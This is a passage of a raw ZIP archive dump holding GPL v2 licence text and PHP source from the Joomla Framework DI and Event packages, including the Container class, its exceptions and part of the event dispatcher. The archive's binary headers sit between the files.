necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James
Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.
PK���[֬gsp5p5di/src/Container.phpnu�[���<?php
/**
* Part of the Joomla Framework DI Package
*
* @copyright Copyright (C) 2013 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\DI;
use Joomla\DI\Exception\DependencyResolutionException;
use Joomla\DI\Exception\KeyNotFoundException;
use Joomla\DI\Exception\ProtectedKeyException;
use Psr\Container\ContainerInterface;
/**
* The Container class.
*
* @since 1.0
*/
class Container implements ContainerInterface
{
/**
* Holds the key aliases.
*
* @var array
* @since 1.0
*/
protected $aliases = array();
/**
* Holds the shared instances.
*
* @var array
* @since 1.0
*/
protected $instances = array();
/**
* Holds the keys, their callbacks, and whether or not
* the item is meant to be a shared resource.
*
* @var array
* @since 1.0
*/
protected $dataStore = array();
/**
* Parent for hierarchical containers.
*
* @var Container|ContainerInterface
* @since 1.0
*/
protected $parent;
/**
* Holds the service tag mapping.
*
* @var array
* @since 1.5.0
*/
protected $tags = array();
/**
* Constructor for the DI Container
*
* @param ContainerInterface $parent Parent for hierarchical
containers.
*
* @since 1.0
*/
public function __construct(ContainerInterface $parent = null)
{
$this->parent = $parent;
}
/**
* Create an alias for a given key for easy access.
*
* @param string $alias The alias name
* @param string $key The key to alias
*
* @return Container This object for chaining.
*
* @since 1.0
*/
public function alias($alias, $key)
{
$this->aliases[$alias] = $key;
return $this;
}
/**
* Search the aliases property for a matching alias key.
*
* @param string $key The key to search for.
*
* @return string
*
* @since 1.0
*/
protected function resolveAlias($key)
{
if (isset($this->aliases[$key]))
{
return $this->aliases[$key];
}
if ($this->parent instanceof Container)
{
return $this->parent->resolveAlias($key);
}
return $key;
}
/**
* Assign a tag to services.
*
* @param string $tag The tag name
* @param array $keys The service keys to tag
*
* @return Container This object for chaining.
*
* @since 1.5.0
*/
public function tag($tag, array $keys)
{
foreach ($keys as $key)
{
$resolvedKey = $this->resolveAlias($key);
if (!isset($this->tags[$tag]))
{
$this->tags[$tag] = array();
}
$this->tags[$tag][] = $resolvedKey;
}
// Prune duplicates
$this->tags[$tag] = array_unique($this->tags[$tag]);
return $this;
}
/**
* Fetch all services registered to the given tag.
*
* @param string $tag The tag name
*
* @return array The resolved services for the given tag
*
* @since 1.5.0
*/
public function getTagged($tag)
{
$services = array();
if (isset($this->tags[$tag]))
{
foreach ($this->tags[$tag] as $service)
{
$services[] = $this->get($service);
}
}
return $services;
}
/**
* Build an object of class $key;
*
* @param string $key The class name to build.
* @param boolean $shared True to create a shared resource.
*
* @return object|false Instance of class specified by $key with all
dependencies injected.
* Returns an object if the class exists and false
otherwise
*
* @since 1.0
*/
public function buildObject($key, $shared = false)
{
static $buildStack = array();
$resolvedKey = $this->resolveAlias($key);
if (in_array($resolvedKey, $buildStack, true))
{
$buildStack = array();
throw new DependencyResolutionException("Can't resolve
circular dependency");
}
$buildStack[] = $resolvedKey;
if ($this->has($resolvedKey))
{
$resource = $this->get($resolvedKey);
array_pop($buildStack);
return $resource;
}
try
{
$reflection = new \ReflectionClass($resolvedKey);
}
catch (\ReflectionException $e)
{
array_pop($buildStack);
return false;
}
if (!$reflection->isInstantiable())
{
$buildStack = array();
throw new DependencyResolutionException("$resolvedKey can not be
instantiated.");
}
$constructor = $reflection->getConstructor();
// If there are no parameters, just return a new object.
if ($constructor === null)
{
$callback = function () use ($resolvedKey) {
return new $resolvedKey;
};
}
else
{
$newInstanceArgs = $this->getMethodArgs($constructor);
// Create a callable for the dataStore
$callback = function () use ($reflection, $newInstanceArgs) {
return $reflection->newInstanceArgs($newInstanceArgs);
};
}
$this->set($resolvedKey, $callback, $shared);
$resource = $this->get($resolvedKey);
array_pop($buildStack);
return $resource;
}
/**
* Convenience method for building a shared object.
*
* @param string $key The class name to build.
*
* @return object|false Instance of class specified by $key with all
dependencies injected.
* Returns an object if the class exists and false
otherwise
*
* @since 1.0
*/
public function buildSharedObject($key)
{
return $this->buildObject($key, true);
}
/**
* Create a child Container with a new property scope that
* that has the ability to access the parent scope when resolving.
*
* @return Container This object for chaining.
*
* @since 1.0
*/
public function createChild()
{
return new static($this);
}
/**
* Extend a defined service Closure by wrapping the existing one with a
new Closure. This
* works very similar to a decorator pattern. Note that this only works
on service Closures
* that have been defined in the current Provider, not parent providers.
*
* @param string $key The unique identifier for the Closure or
property.
* @param \Closure $callable A Closure to wrap the original service
Closure.
*
* @return void
*
* @since 1.0
* @throws KeyNotFoundException
*/
public function extend($key, \Closure $callable)
{
$key = $this->resolveAlias($key);
$raw = $this->getRaw($key);
if ($raw === null)
{
throw new KeyNotFoundException(sprintf('The requested key %s does
not exist to extend.', $key));
}
$closure = function ($c) use ($callable, $raw) {
return $callable($raw['callback']($c), $c);
};
$this->set($key, $closure, $raw['shared']);
}
/**
* Build an array of constructor parameters.
*
* @param \ReflectionMethod $method Method for which to build the
argument array.
*
* @return array Array of arguments to pass to the method.
*
* @since 1.0
* @throws DependencyResolutionException
*/
protected function getMethodArgs(\ReflectionMethod $method)
{
$methodArgs = array();
foreach ($method->getParameters() as $param)
{
$dependency = $param->getClass();
$dependencyVarName = $param->getName();
// If we have a dependency, that means it has been type-hinted.
if ($dependency !== null)
{
$dependencyClassName = $dependency->getName();
// If the dependency class name is registered with this container or a
parent, use it.
if ($this->getRaw($dependencyClassName) !== null)
{
$depObject = $this->get($dependencyClassName);
}
else
{
$depObject = $this->buildObject($dependencyClassName);
}
if ($depObject instanceof $dependencyClassName)
{
$methodArgs[] = $depObject;
continue;
}
}
// Finally, if there is a default parameter, use it.
if ($param->isOptional())
{
$methodArgs[] = $param->getDefaultValue();
continue;
}
// Couldn't resolve dependency, and no default was provided.
throw new DependencyResolutionException(sprintf('Could not resolve
dependency: %s', $dependencyVarName));
}
return $methodArgs;
}
/**
* Method to set the key and callback to the dataStore array.
*
* @param string $key Name of dataStore key to set.
* @param mixed $value Callable function to run or string to
retrive when requesting the specified $key.
* @param boolean $shared True to create and store a shared
instance.
* @param boolean $protected True to protect this item from being
overwritten. Useful for services.
*
* @return Container This object for chaining.
*
* @since 1.0
* @throws ProtectedKeyException Thrown if the provided key is already
set and is protected.
*/
public function set($key, $value, $shared = false, $protected = false)
{
if (isset($this->dataStore[$key]) &&
$this->dataStore[$key]['protected'] === true)
{
throw new ProtectedKeyException(sprintf("Key %s is protected and
can't be overwritten.", $key));
}
// If the provided $value is not a closure, make it one now for easy
resolution.
if (!is_callable($value))
{
$value = function () use ($value) {
return $value;
};
}
$this->dataStore[$key] = array(
'callback' => $value,
'shared' => $shared,
'protected' => $protected
);
return $this;
}
/**
* Convenience method for creating protected keys.
*
* @param string $key Name of dataStore key to set.
* @param mixed $value Callable function to run or string to
retrive when requesting the specified $key.
* @param boolean $shared True to create and store a shared instance.
*
* @return Container This object for chaining.
*
* @since 1.0
*/
public function protect($key, $value, $shared = false)
{
return $this->set($key, $value, $shared, true);
}
/**
* Convenience method for creating shared keys.
*
* @param string $key Name of dataStore key to set.
* @param mixed $value Callable function to run or string to
retrive when requesting the specified $key.
* @param boolean $protected True to protect this item from being
overwritten. Useful for services.
*
* @return Container This object for chaining.
*
* @since 1.0
*/
public function share($key, $value, $protected = false)
{
return $this->set($key, $value, true, $protected);
}
/**
* Method to retrieve the results of running the $callback for the
specified $key;
*
* @param string $key Name of the dataStore key to get.
* @param boolean $forceNew True to force creation and return of a new
instance.
*
* @return mixed Results of running the $callback for the specified
$key.
*
* @since 1.0
* @throws KeyNotFoundException
*/
public function get($key, $forceNew = false)
{
$key = $this->resolveAlias($key);
$raw = $this->getRaw($key);
if ($raw === null)
{
throw new KeyNotFoundException(sprintf('Key %s has not been
registered with the container.', $key));
}
if ($raw['shared'])
{
if ($forceNew || !isset($this->instances[$key]))
{
$this->instances[$key] = $raw['callback']($this);
}
return $this->instances[$key];
}
return call_user_func($raw['callback'], $this);
}
/**
* Method to check if specified dataStore key exists.
*
* @param string $key Name of the dataStore key to check.
*
* @return boolean True for success
*
* @since 1.5.0
*/
public function has($key)
{
$key = $this->resolveAlias($key);
$exists = (bool) $this->getRaw($key);
if ($exists === false && $this->parent instanceof
ContainerInterface)
{
$exists = $this->parent->has($key);
}
return $exists;
}
/**
* Method to check if specified dataStore key exists.
*
* @param string $key Name of the dataStore key to check.
*
* @return boolean True for success
*
* @since 1.0
* @deprecated 3.0 Use ContainerInterface::has() instead
*/
public function exists($key)
{
return $this->has($key);
}
/**
* Get the raw data assigned to a key.
*
* @param string $key The key for which to get the stored item.
*
* @return mixed
*
* @since 1.0
*/
protected function getRaw($key)
{
if (isset($this->dataStore[$key]))
{
return $this->dataStore[$key];
}
$aliasKey = $this->resolveAlias($key);
if ($aliasKey !== $key && isset($this->dataStore[$aliasKey]))
{
return $this->dataStore[$aliasKey];
}
if ($this->parent instanceof Container)
{
return $this->parent->getRaw($key);
}
if ($this->parent instanceof ContainerInterface &&
$this->parent->has($key))
{
$callback = $this->parent->get($key);
if (!is_callable($callback))
{
$callback = function () use ($callback) {
return $callback;
};
}
return array(
'callback' => $callback,
'shared' => true,
'protected' => true,
);
}
return null;
}
/**
* Method to force the container to return a new instance
* of the results of the callback for requested $key.
*
* @param string $key Name of the dataStore key to get.
*
* @return mixed Results of running the $callback for the specified
$key.
*
* @since 1.0
*/
public function getNewInstance($key)
{
return $this->get($key, true);
}
/**
* Register a service provider to the container.
*
* @param ServiceProviderInterface $provider The service provider to
register.
*
* @return Container This object for chaining.
*
* @since 1.0
*/
public function registerServiceProvider(ServiceProviderInterface
$provider)
{
$provider->register($this);
return $this;
}
/**
* Retrieve the keys for services assigned to this container.
*
* @return array
*
* @since 1.5.0
*/
public function getKeys()
{
return array_unique(array_merge(array_keys($this->aliases),
array_keys($this->dataStore)));
}
}
PK���[�BB"di/src/ContainerAwareInterface.phpnu�[���<?php
/**
* Part of the Joomla Framework DI Package
*
* @copyright Copyright (C) 2013 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\DI;
/**
* Defines the interface for a Container Aware class.
*
* @since 1.0
*/
interface ContainerAwareInterface
{
/**
* Get the DI container.
*
* @return Container
*
* @since 1.0
* @throws \UnexpectedValueException May be thrown if the container has
not been set.
* @deprecated 2.0 The getter will no longer be part of the interface.
*/
public function getContainer();
/**
* Set the DI container.
*
* @param Container $container The DI container.
*
* @return mixed
*
* @since 1.0
*/
public function setContainer(Container $container);
}
PK���[����di/src/ContainerAwareTrait.phpnu�[���<?php
/**
* Part of the Joomla Framework DI Package
*
* @copyright Copyright (C) 2013 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\DI;
/**
* Defines the trait for a Container Aware Class.
*
* @since 1.2
* @note Traits are available in PHP 5.4+
*/
trait ContainerAwareTrait
{
/**
* DI Container
*
* @var Container
* @since 1.2
*/
private $container;
/**
* Get the DI container.
*
* @return Container
*
* @since 1.2
* @throws \UnexpectedValueException May be thrown if the container has
not been set.
* @note As of 2.0 this method will be protected.
*/
public function getContainer()
{
if ($this->container)
{
return $this->container;
}
throw new \UnexpectedValueException('Container not set in ' .
__CLASS__);
}
/**
* Set the DI container.
*
* @param Container $container The DI container.
*
* @return mixed Returns itself to support chaining.
*
* @since 1.2
*/
public function setContainer(Container $container)
{
$this->container = $container;
return $this;
}
}
PK�[y�q��2di/src/Exception/DependencyResolutionException.phpnu�[���<?php
/**
* Part of the Joomla Framework DI Package
*
* @copyright Copyright (C) 2013 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\DI\Exception;
use Psr\Container\ContainerExceptionInterface;
/**
* Exception class for handling errors in resolving a dependency
*
* @since 1.0
*/
class DependencyResolutionException extends \RuntimeException implements
ContainerExceptionInterface
{
}
PK�[��$��)di/src/Exception/KeyNotFoundException.phpnu�[���<?php
/**
* Part of the Joomla Framework DI Package
*
* @copyright Copyright (C) 2013 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\DI\Exception;
use Psr\Container\NotFoundExceptionInterface;
/**
* No entry was found in the container.
*
* @since 1.5.0
*/
class KeyNotFoundException extends \InvalidArgumentException implements
NotFoundExceptionInterface
{
}
PK�[�����*di/src/Exception/ProtectedKeyException.phpnu�[���<?php
/**
* Part of the Joomla Framework DI Package
*
* @copyright Copyright (C) 2013 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\DI\Exception;
use Psr\Container\ContainerExceptionInterface;
/**
* Attempt to set the value of a protected key, which already is set
*
* @since 1.5.0
*/
class ProtectedKeyException extends \OutOfBoundsException implements
ContainerExceptionInterface
{
}
PK�[�td�??#di/src/ServiceProviderInterface.phpnu�[���<?php
/**
* Part of the Joomla Framework DI Package
*
* @copyright Copyright (C) 2013 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\DI;
/**
* Defines the interface for a Service Provider.
*
* @since 1.0
*/
interface ServiceProviderInterface
{
/**
* Registers the service provider with a DI container.
*
* @param Container $container The DI container.
*
* @return void
*
* @since 1.0
*/
public function register(Container $container);
}
PK�[�P�E�E
event/LICENSEnu�[���GNU GENERAL PUBLIC
LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as
"you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.
<one line to give the program's name and a brief idea of what it
does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James
Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.
PK�[�����
�
event/src/AbstractEvent.phpnu�[���<?php
/**
* Part of the Joomla Framework Event Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Event;
use ArrayAccess;
use Countable;
use Serializable;
/**
* Implementation of EventInterface.
*
* @since 1.0
*/
abstract class AbstractEvent implements EventInterface, ArrayAccess,
Serializable, Countable
{
/**
* The event name.
*
* @var string
*
* @since 1.0
*/
protected $name;
/**
* The event arguments.
*
* @var array
*
* @since 1.0
*/
protected $arguments;
/**
* A flag to see if the event propagation is stopped.
*
* @var boolean
*
* @since 1.0
*/
protected $stopped = false;
/**
* Constructor.
*
* @param string $name The event name.
* @param array $arguments The event arguments.
*
* @since 1.0
*/
public function __construct($name, array $arguments = array())
{
$this->name = $name;
$this->arguments = $arguments;
}
/**
* Get the event name.
*
* @return string The event name.
*
* @since 1.0
*/
public function getName()
{
return $this->name;
}
/**
* Get an event argument value.
*
* @param string $name The argument name.
* @param mixed $default The default value if not found.
*
* @return mixed The argument value or the default value.
*
* @since 1.0
*/
public function getArgument($name, $default = null)
{
if (isset($this->arguments[$name]))
{
return $this->arguments[$name];
}
return $default;
}
/**
* Tell if the given event argument exists.
*
* @param string $name The argument name.
*
* @return boolean True if it exists, false otherwise.
*
* @since 1.0
*/
public function hasArgument($name)
{
return isset($this->arguments[$name]);
}
/**
* Get all event arguments.
*
* @return array An associative array of argument names as keys
* and their values as values.
*
* @since 1.0
*/
public function getArguments()
{
return $this->arguments;
}
/**
* Tell if the event propagation is stopped.
*
* @return boolean True if stopped, false otherwise.
*
* @since 1.0
*/
public function isStopped()
{
return $this->stopped === true;
}
/**
* Count the number of arguments.
*
* @return integer The number of arguments.
*
* @since 1.0
*/
public function count()
{
return \count($this->arguments);
}
/**
* Serialize the event.
*
* @return string The serialized event.
*
* @since 1.0
*/
public function serialize()
{
return serialize(array($this->name, $this->arguments,
$this->stopped));
}
/**
* Unserialize the event.
*
* @param string $serialized The serialized event.
*
* @return void
*
* @since 1.0
*/
public function unserialize($serialized)
{
list($this->name, $this->arguments, $this->stopped) =
unserialize($serialized);
}
/**
* Tell if the given event argument exists.
*
* @param string $name The argument name.
*
* @return boolean True if it exists, false otherwise.
*
* @since 1.0
*/
public function offsetExists($name)
{
return $this->hasArgument($name);
}
/**
* Get an event argument value.
*
* @param string $name The argument name.
*
* @return mixed The argument value or null if not existing.
*
* @since 1.0
*/
public function offsetGet($name)
{
return $this->getArgument($name);
}
}
PK�[�h�Hyy"event/src/DelegatingDispatcher.phpnu�[���<?php
/**
* Part of the Joomla Framework Event Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Event;
/**
* A dispatcher delegating its methods to an other dispatcher.
*
* @since 1.0
* @deprecated 2.0 Create your own delegating (decorating) dispatcher as
needed.
*/
final class DelegatingDispatcher implements DispatcherInterface
{
/**
* The delegated dispatcher.
*
* @var DispatcherInterface
* @since 1.0
*/
private $dispatcher;
/**
* Constructor.
*
* @param DispatcherInterface $dispatcher The delegated dispatcher.
*
* @since 1.0
*/
public function __construct(DispatcherInterface $dispatcher)
{
$this->dispatcher = $dispatcher;
}
/**
* Trigger an event.
*
* @param EventInterface|string $event The event object or name.
*
* @return EventInterface The event after being passed through all
listeners.
*
* @since 1.0
*/
public function triggerEvent($event)
{
return $this->dispatcher->triggerEvent($event);
}
}
PK�[��s�U)U)event/src/Dispatcher.phpnu�[���<?php
/**
* Part of the Joomla Framework Event Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Event;
use Closure;
use InvalidArgumentException;
/**
* Implementation of a DispatcherInterface supporting
* prioritized listeners.
*
* @since 1.0
*/
class Dispatcher implements DispatcherInterface
{
/**
* An array of registered events indexed by
* the event names.
*
* @var EventInterface[]
*
* @since 1.0
*/
protected $events = array();
/**
* A regular expression that will filter listener method names.
*
* @var string
* @since 1.0
* @deprecated 1.1.0
*/
protected $listenerFilter;
/**
* An array of ListenersPriorityQueue indexed
* by the event names.
*
* @var ListenersPriorityQueue[]
*
* @since 1.0
*/
protected $listeners = array();
/**
* Set an event to the dispatcher.
* It will replace any event with the same name.
*
* @param EventInterface $event The event.
*
* @return Dispatcher This method is chainable.
*
* @since 1.0
*/
public function setEvent(EventInterface $event)
{
$this->events[$event->getName()] = $event;
return $this;
}
/**
* Sets a regular expression to filter the class methods when adding a
listener.
*
* @param string $regex A regular expression (for example
'^on' will only register methods starting with "on").
*
